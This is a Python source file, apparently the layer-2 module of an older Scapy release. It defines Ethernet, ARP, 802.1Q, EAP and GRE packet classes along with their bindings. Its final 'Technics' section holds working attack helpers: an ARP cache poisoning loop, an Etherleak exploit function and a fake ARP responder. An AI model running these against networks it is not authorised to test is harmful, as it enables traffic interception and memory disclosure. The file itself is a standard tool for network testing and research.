1## This file is part of Scapy
2## See http://www.secdev.org/projects/scapy for more informations
3## Copyright (C) Philippe Biondi <phil@secdev.org>
4## This program is published under a GPLv2 license
5
6"""
7Classes and functions for layer 2 protocols.
8"""
9
10import os,struct,time
11from scapy.base_classes import Net
12from scapy.config import conf
13from scapy.packet import *
14from scapy.ansmachine import *
15from scapy.plist import SndRcvList
16from scapy.fields import *
17from scapy.sendrecv import srp,srp1
18from scapy.arch import get_if_hwaddr
19
20
21
22
23#################
24## Tools       ##
25#################
26
27
28class Neighbor:
29    def __init__(self):
30        self.resolvers = {}
31
32    def register_l3(self, l2, l3, resolve_method):
33        self.resolvers[l2,l3]=resolve_method
34
35    def resolve(self, l2inst, l3inst):
36        k = l2inst.__class__,l3inst.__class__
37        if k in self.resolvers:
38            return self.resolvers[k](l2inst,l3inst)
39
40    def __repr__(self):
41        return "\n".join("%-15s -> %-15s" % (l2.__name__, l3.__name__) for l2,l3 in self.resolvers)
42
43conf.neighbor = Neighbor()
44
45conf.netcache.new_cache("arp_cache", 120) # cache entries expire after 120s
46
47
48@conf.commands.register
49def getmacbyip(ip, chainCC=0):
50    """Return MAC address corresponding to a given IP address"""
51    if isinstance(ip,Net):
52        ip = iter(ip).next()
53    ip = inet_ntoa(inet_aton(ip))
54    tmp = map(ord, inet_aton(ip))
55    if (tmp[0] & 0xf0) == 0xe0: # mcast @
56        return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1]&0x7f,tmp[2],tmp[3])
57    iff,a,gw = conf.route.route(ip)
58    if ( (iff == "lo") or (ip == conf.route.get_if_bcast(iff)) ):
59        return "ff:ff:ff:ff:ff:ff"
60    if gw != "0.0.0.0":
61        ip = gw
62
63    mac = conf.netcache.arp_cache.get(ip)
64    if mac:
65        return mac
66
67    res = srp1(Ether(dst=ETHER_BROADCAST)/ARP(op="who-has", pdst=ip),
68               type=ETH_P_ARP,
69               iface = iff,
70               timeout=2,
71               verbose=0,
72               chainCC=chainCC,
73               nofilter=1)
74    if res is not None:
75        mac = res.payload.hwsrc
76        conf.netcache.arp_cache[ip] = mac
77        return mac
78    return None
79
80
81
82### Fields
83
84class DestMACField(MACField):
85    def __init__(self, name):
86        MACField.__init__(self, name, None)
87
88class SourceMACField(MACField):
89    def __init__(self, name):
90        MACField.__init__(self, name, None)
91
92class ARPSourceMACField(MACField):
93    def __init__(self, name):
94        MACField.__init__(self, name, None)
95
96
97
98### Layers
99
100
101class Ether(Packet):
102    name = "Ethernet"
103    fields_desc = [ MACField("dst","00:00:00:01:00:00"),
104                    MACField("src","00:00:00:02:00:00"),
105                    XShortEnumField("type", 0x9000, ETHER_TYPES) ]
106    def hashret(self):
107        return struct.pack("H",self.type)+self.payload.hashret()
108    def answers(self, other):
109        if isinstance(other,Ether):
110            if self.type == other.type:
111                return self.payload.answers(other.payload)
112        return 0
113    def mysummary(self):
114        return self.sprintf("%src% > %dst% (%type%)")
115    @classmethod
116    def dispatch_hook(cls, _pkt=None, *args, **kargs):
117        if _pkt and len(_pkt) >= 14:
118            if struct.unpack("!H", _pkt[12:14])[0] <= 1500:
119                return Dot3
120        return cls
121
122
123class Dot3(Packet):
124    name = "802.3"
125    fields_desc = [ DestMACField("dst"),
126                    MACField("src", ETHER_ANY),
127                    LenField("len", None, "H") ]
128    def extract_padding(self,s):
129        l = self.len
130        return s[:l],s[l:]
131    def answers(self, other):
132        if isinstance(other,Dot3):
133            return self.payload.answers(other.payload)
134        return 0
135    def mysummary(self):
136        return "802.3 %s > %s" % (self.src, self.dst)
137    @classmethod
138    def dispatch_hook(cls, _pkt=None, *args, **kargs):
139        if _pkt and len(_pkt) >= 14:
140            if struct.unpack("!H", _pkt[12:14])[0] > 1500:
141                return Ether
142        return cls
143
144
145class LLC(Packet):
146    name = "LLC"
147    fields_desc = [ XByteField("dsap", 0x00),
148                    XByteField("ssap", 0x00),
149                    ByteField("ctrl", 0) ]
150
151conf.neighbor.register_l3(Ether, LLC, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload))
152conf.neighbor.register_l3(Dot3, LLC, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload))
153
154
155class CookedLinux(Packet):
156    name = "cooked linux"
157    fields_desc = [ ShortEnumField("pkttype",0, {0: "unicast",
158                                                 4:"sent-by-us"}), #XXX incomplete
159                    XShortField("lladdrtype",512),
160                    ShortField("lladdrlen",0),
161                    StrFixedLenField("src","",8),
162                    XShortEnumField("proto",0x800,ETHER_TYPES) ]
163
164
165
166class SNAP(Packet):
167    name = "SNAP"
168    fields_desc = [ X3BytesField("OUI",0x000000),
169                    XShortEnumField("code", 0x000, ETHER_TYPES) ]
170
171conf.neighbor.register_l3(Dot3, SNAP, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload))
172
173
174class Dot1Q(Packet):
175    name = "802.1Q"
176    aliastypes = [ Ether ]
177    fields_desc =  [ BitField("prio", 0, 3),
178                     BitField("id", 0, 1),
179                     BitField("vlan", 1, 12),
180                     XShortEnumField("type", 0x0000, ETHER_TYPES) ]
181    def answers(self, other):
182        if isinstance(other,Dot1Q):
183            if ( (self.type == other.type) and
184                 (self.vlan == other.vlan) ):
185                return self.payload.answers(other.payload)
186        else:
187            return self.payload.answers(other)
188        return 0
189    def default_payload_class(self, pay):
190        if self.type <= 1500:
191            return LLC
192        return conf.raw_layer
193    def extract_padding(self,s):
194        if self.type <= 1500:
195            return s[:self.type],s[self.type:]
196        return s,None
197    def mysummary(self):
198        if isinstance(self.underlayer, Ether):
199            return self.underlayer.sprintf("802.1q %Ether.src% > %Ether.dst% (%Dot1Q.type%) vlan %Dot1Q.vlan%")
200        else:
201            return self.sprintf("802.1q (%Dot1Q.type%) vlan %Dot1Q.vlan%")
202
203
204conf.neighbor.register_l3(Ether, Dot1Q, lambda l2,l3: conf.neighbor.resolve(l2,l3.payload))
205
206class STP(Packet):
207    name = "Spanning Tree Protocol"
208    fields_desc = [ ShortField("proto", 0),
209                    ByteField("version", 0),
210                    ByteField("bpdutype", 0),
211                    ByteField("bpduflags", 0),
212                    ShortField("rootid", 0),
213                    MACField("rootmac", ETHER_ANY),
214                    IntField("pathcost", 0),
215                    ShortField("bridgeid", 0),
216                    MACField("bridgemac", ETHER_ANY),
217                    ShortField("portid", 0),
218                    BCDFloatField("age", 1),
219                    BCDFloatField("maxage", 20),
220                    BCDFloatField("hellotime", 2),
221                    BCDFloatField("fwddelay", 15) ]
222
223
224class EAPOL(Packet):
225    name = "EAPOL"
226    fields_desc = [ ByteField("version", 1),
227                    ByteEnumField("type", 0, ["EAP_PACKET", "START", "LOGOFF", "KEY", "ASF"]),
228                    LenField("len", None, "H") ]
229
230    EAP_PACKET= 0
231    START = 1
232    LOGOFF = 2
233    KEY = 3
234    ASF = 4
235    def extract_padding(self, s):
236        l = self.len
237        return s[:l],s[l:]
238    def hashret(self):
239        return chr(self.type)+self.payload.hashret()
240    def answers(self, other):
241        if isinstance(other,EAPOL):
242            if ( (self.type == self.EAP_PACKET) and
243                 (other.type == self.EAP_PACKET) ):
244                return self.payload.answers(other.payload)
245        return 0
246    def mysummary(self):
247        return self.sprintf("EAPOL %EAPOL.type%")
248
249
250class EAP(Packet):
251    name = "EAP"
252    fields_desc = [ ByteEnumField("code", 4, {1:"REQUEST",2:"RESPONSE",3:"SUCCESS",4:"FAILURE"}),
253                    ByteField("id", 0),
254                    ShortField("len",None),
255                    ConditionalField(ByteEnumField("type",0, {1:"ID",4:"MD5"}), lambda pkt:pkt.code not in [EAP.SUCCESS, EAP.FAILURE])
256
257                                     ]
258
259    REQUEST = 1
260    RESPONSE = 2
261    SUCCESS = 3
262    FAILURE = 4
263    TYPE_ID = 1
264    TYPE_MD5 = 4
265    def answers(self, other):
266        if isinstance(other,EAP):
267            if self.code == self.REQUEST:
268                return 0
269            elif self.code == self.RESPONSE:
270                if ( (other.code == self.REQUEST) and
271                     (other.type == self.type) ):
272                    return 1
273            elif other.code == self.RESPONSE:
274                return 1
275        return 0
276
277    def post_build(self, p, pay):
278        if self.len is None:
279            l = len(p)+len(pay)
280            p = p[:2]+chr((l>>8)&0xff)+chr(l&0xff)+p[4:]
281        return p+pay
282
283
284class ARP(Packet):
285    name = "ARP"
286    fields_desc = [ XShortField("hwtype", 0x0001),
287                    XShortEnumField("ptype",  0x0800, ETHER_TYPES),
288                    ByteField("hwlen", 6),
289                    ByteField("plen", 4),
290                    ShortEnumField("op", 1, {"who-has":1, "is-at":2, "RARP-req":3, "RARP-rep":4, "Dyn-RARP-req":5, "Dyn-RAR-rep":6, "Dyn-RARP-err":7, "InARP-req":8, "InARP-rep":9}),
291                    ARPSourceMACField("hwsrc"),
292                    SourceIPField("psrc","pdst"),
293                    MACField("hwdst", ETHER_ANY),
294                    IPField("pdst", "0.0.0.0") ]
295    who_has = 1
296    is_at = 2
297    def answers(self, other):
298        if isinstance(other,ARP):
299            if ( (self.op == self.is_at) and
300                 (other.op == self.who_has) and
301                 (self.psrc == other.pdst) ):
302                return 1
303        return 0
304    def route(self):
305        dst = self.pdst
306        if isinstance(dst,Gen):
307            dst = iter(dst).next()
308        return conf.route.route(dst)
309    def extract_padding(self, s):
310        return "",s
311    def mysummary(self):
312        if self.op == self.is_at:
313            return self.sprintf("ARP is at %hwsrc% says %psrc%")
314        elif self.op == self.who_has:
315            return self.sprintf("ARP who has %pdst% says %psrc%")
316        else:
317            return self.sprintf("ARP %op% %psrc% > %pdst%")
318
319conf.neighbor.register_l3(Ether, ARP, lambda l2,l3: getmacbyip(l3.pdst))
320
321class GRErouting(Packet):
322    name = "GRE routing informations"
323    fields_desc = [ ShortField("address_family",0),
324                    ByteField("SRE_offset", 0),
325                    FieldLenField("SRE_len", None, "routing_info", "B"),
326                    StrLenField("routing_info", "", "SRE_len"),
327                    ]
328
329
330class GRE(Packet):
331    name = "GRE"
332    fields_desc = [ BitField("chksum_present",0,1),
333                    BitField("routing_present",0,1),
334                    BitField("key_present",0,1),
335                    BitField("seqnum_present",0,1),
336                    BitField("strict_route_source",0,1),
337                    BitField("recursion_control",0,3),
338                    BitField("flags",0,5),
339                    BitField("version",0,3),
340                    XShortEnumField("proto", 0x0000, ETHER_TYPES),
341                    ConditionalField(XShortField("chksum",None), lambda pkt:pkt.chksum_present==1 or pkt.routing_present==1),
342                    ConditionalField(XShortField("offset",None), lambda pkt:pkt.chksum_present==1 or pkt.routing_present==1),
343                    ConditionalField(XIntField("key",None), lambda pkt:pkt.key_present==1),
344                    ConditionalField(XIntField("seqence_number",None), lambda pkt:pkt.seqnum_present==1),
345                    ]
346    def post_build(self, p, pay):
347        p += pay
348        if self.chksum_present and self.chksum is None:
349            c = checksum(p)
350            p = p[:4]+chr((c>>8)&0xff)+chr(c&0xff)+p[6:]
351        return p
352
353
354
355
356bind_layers( Dot3,          LLC,           )
357bind_layers( Ether,         LLC,           type=122)
358bind_layers( Ether,         Dot1Q,         type=33024)
359bind_layers( Ether,         Ether,         type=1)
360bind_layers( Ether,         ARP,           type=2054)
361bind_layers( Ether,         EAPOL,         type=34958)
362bind_layers( Ether,         EAPOL,         dst='01:80:c2:00:00:03', type=34958)
363bind_layers( CookedLinux,   LLC,           proto=122)
364bind_layers( CookedLinux,   Dot1Q,         proto=33024)
365bind_layers( CookedLinux,   Ether,         proto=1)
366bind_layers( CookedLinux,   ARP,           proto=2054)
367bind_layers( CookedLinux,   EAPOL,         proto=34958)
368bind_layers( GRE,           LLC,           proto=122)
369bind_layers( GRE,           Dot1Q,         proto=33024)
370bind_layers( GRE,           Ether,         proto=1)
371bind_layers( GRE,           ARP,           proto=2054)
372bind_layers( GRE,           EAPOL,         proto=34958)
373bind_layers( GRE,           GRErouting,    { "routing_present" : 1 } )
374bind_layers( GRErouting,    conf.raw_layer,{ "address_family" : 0, "SRE_len" : 0 })
375bind_layers( GRErouting,    GRErouting,    { } )
376bind_layers( EAPOL,         EAP,           type=0)
377bind_layers( LLC,           STP,           dsap=66, ssap=66, ctrl=3)
378bind_layers( LLC,           SNAP,          dsap=170, ssap=170, ctrl=3)
379bind_layers( SNAP,          Dot1Q,         code=33024)
380bind_layers( SNAP,          Ether,         code=1)
381bind_layers( SNAP,          ARP,           code=2054)
382bind_layers( SNAP,          EAPOL,         code=34958)
383bind_layers( SNAP,          STP,           code=267)
384
385conf.l2types.register(ARPHDR_ETHER, Ether)
386conf.l2types.register_num2layer(ARPHDR_METRICOM, Ether)
387conf.l2types.register_num2layer(ARPHDR_LOOPBACK, Ether)
388conf.l2types.register_layer2num(ARPHDR_ETHER, Dot3)
389conf.l2types.register(144, CookedLinux)  # called LINUX_IRDA, similar to CookedLinux
390conf.l2types.register(113, CookedLinux)
391
392conf.l3types.register(ETH_P_ARP, ARP)
393
394
395
396
397### Technics
398
399
400
401@conf.commands.register
402def arpcachepoison(target, victim, interval=60):
403    """Poison target's cache with (your MAC,victim's IP) couple
404arpcachepoison(target, victim, [interval=60]) -> None
405"""
406    tmac = getmacbyip(target)
407    p = Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target)
408    try:
409        while 1:
410            sendp(p, iface_hint=target)
411            if conf.verb > 1:
412                os.write(1,".")
413            time.sleep(interval)
414    except KeyboardInterrupt:
415        pass
416
417
418class ARPingResult(SndRcvList):
419    def __init__(self, res=None, name="ARPing", stats=None):
420        SndRcvList.__init__(self, res, name, stats)
421
422    def show(self):
423        for s,r in self.res:
424            print r.sprintf("%19s,Ether.src% %ARP.psrc%")
425
426
427
428@conf.commands.register
429def arping(net, timeout=2, cache=0, verbose=None, **kargs):
430    """Send ARP who-has requests to determine which hosts are up
431arping(net, [cache=0,] [iface=conf.iface,] [verbose=conf.verb]) -> None
432Set cache=True if you want arping to modify internal ARP-Cache"""
433    if verbose is None:
434        verbose = conf.verb
435    ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net), verbose=verbose,
436                    filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs)
437    ans = ARPingResult(ans.res)
438
439    if cache and ans is not None:
440        for pair in ans:
441            conf.netcache.arp_cache[pair[1].psrc] = (pair[1].hwsrc, time.time())
442    if verbose:
443        ans.show()
444    return ans,unans
445
446@conf.commands.register
447def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00",**kargs):
448    """Try to guess if target is in Promisc mode. The target is provided by its ip."""
449
450    responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip),type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0,**kargs)
451
452    return responses is not None
453
454@conf.commands.register
455def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs):
456    """Send ARP who-has requests to determine which hosts are in promiscuous mode
457    promiscping(net, iface=conf.iface)"""
458    ans,unans = srp(Ether(dst=fake_bcast)/ARP(pdst=net),
459                    filter="arp and arp[7] = 2", timeout=timeout, iface_hint=net, **kargs)
460    ans = ARPingResult(ans.res, name="PROMISCPing")
461
462    ans.display()
463    return ans,unans
464
465
466class ARP_am(AnsweringMachine):
467    function_name="farpd"
468    filter = "arp"
469    send_function = staticmethod(sendp)
470
471    def parse_options(self, IP_addr=None, iface=None, ARP_addr=None):
472        self.IP_addr=IP_addr
473        self.iface=iface
474        self.ARP_addr=ARP_addr
475
476    def is_request(self, req):
477        return (req.haslayer(ARP) and
478                req.getlayer(ARP).op == 1 and
479                (self.IP_addr == None or self.IP_addr == req.getlayer(ARP).pdst))
480
481    def make_reply(self, req):
482        ether = req.getlayer(Ether)
483        arp = req.getlayer(ARP)
484        iff,a,gw = conf.route.route(arp.psrc)
485        if self.iface != None:
486            iff = iface
487        ARP_addr = self.ARP_addr
488        IP_addr = arp.pdst
489        resp = Ether(dst=ether.src,
490                     src=ARP_addr)/ARP(op="is-at",
491                                       hwsrc=ARP_addr,
492                                       psrc=IP_addr,
493                                       hwdst=arp.hwsrc,
494                                       pdst=arp.pdst)
495        return resp
496
497    def sniff(self):
498        sniff(iface=self.iface, **self.optsniff)
499
500@conf.commands.register
501def etherleak(target, **kargs):
502    """Exploit Etherleak flaw"""
503    return srpflood(Ether()/ARP(pdst=target),
504                    prn=lambda (s,r): conf.padding_layer in r and hexstr(r[conf.padding_layer].load),
505                    filter="arp", **kargs)
506
507
508